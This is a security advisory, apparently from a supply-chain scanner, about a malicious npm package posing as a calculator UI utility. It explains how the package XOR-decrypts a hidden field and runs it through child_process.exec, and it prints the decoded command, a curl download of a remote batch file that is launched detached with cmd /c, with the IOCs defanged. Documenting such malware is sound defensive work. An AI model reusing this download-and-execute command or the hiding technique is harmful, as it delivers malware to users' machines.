LWA-2026-13427 confirmed malware

calcultimatetest@1.0.0

Malicious code in calcultimatetest (npm)

T1027 · Obfuscated Files or InformationT1036 · MasqueradingT1059 · Command and Scripting InterpreterT1059.003 · Windows Command ShellT1105 · Ingress Tool TransferT1102 · Web Service

Analysis

This package is a decoy "calculator UI" utility that hides a Windows downloader: main.js reads the installed package.json, XOR-decrypts its embedded "signature" field using the key stored in config.json, and only continues if the decrypted text contains "EXEC_MODE"; it then passes that string to child_process.exec after a random 0-5 second delay. Decoding the "signature" value shipped in package.json with the bundled key yields the command: EXEC_MODE=1; curl -fSL hxxp://65[.]109[.]171[.]171/baseball[.]bat -o baseball.bat && cmd /c start /b baseball.bat — a download of a remote batch file from 65[.]109[.]171[.]171 that is then launched detached via cmd /c start /b. The package contains no calculator, renderer or UI code: main.js's only other logic is a padded Mandelbrot loop for noise, plus a step that SHA-256 hashes a hardcoded reference value and writes the result into the installed package.json's "signature" field. A bundled DISCLOSURE file claims the code is "obfuscated to protect proprietary algorithms", which is the cover story for the decode-and-execute routine. There are no lifecycle hooks — the behaviour triggers when main.js is required or started via the package's start script.

analyzed by
Leitwacht
first seen
Oct 29, 2026, 09:50 AM
analyzed
Oct 29, 2026, 09:51 AM

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Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.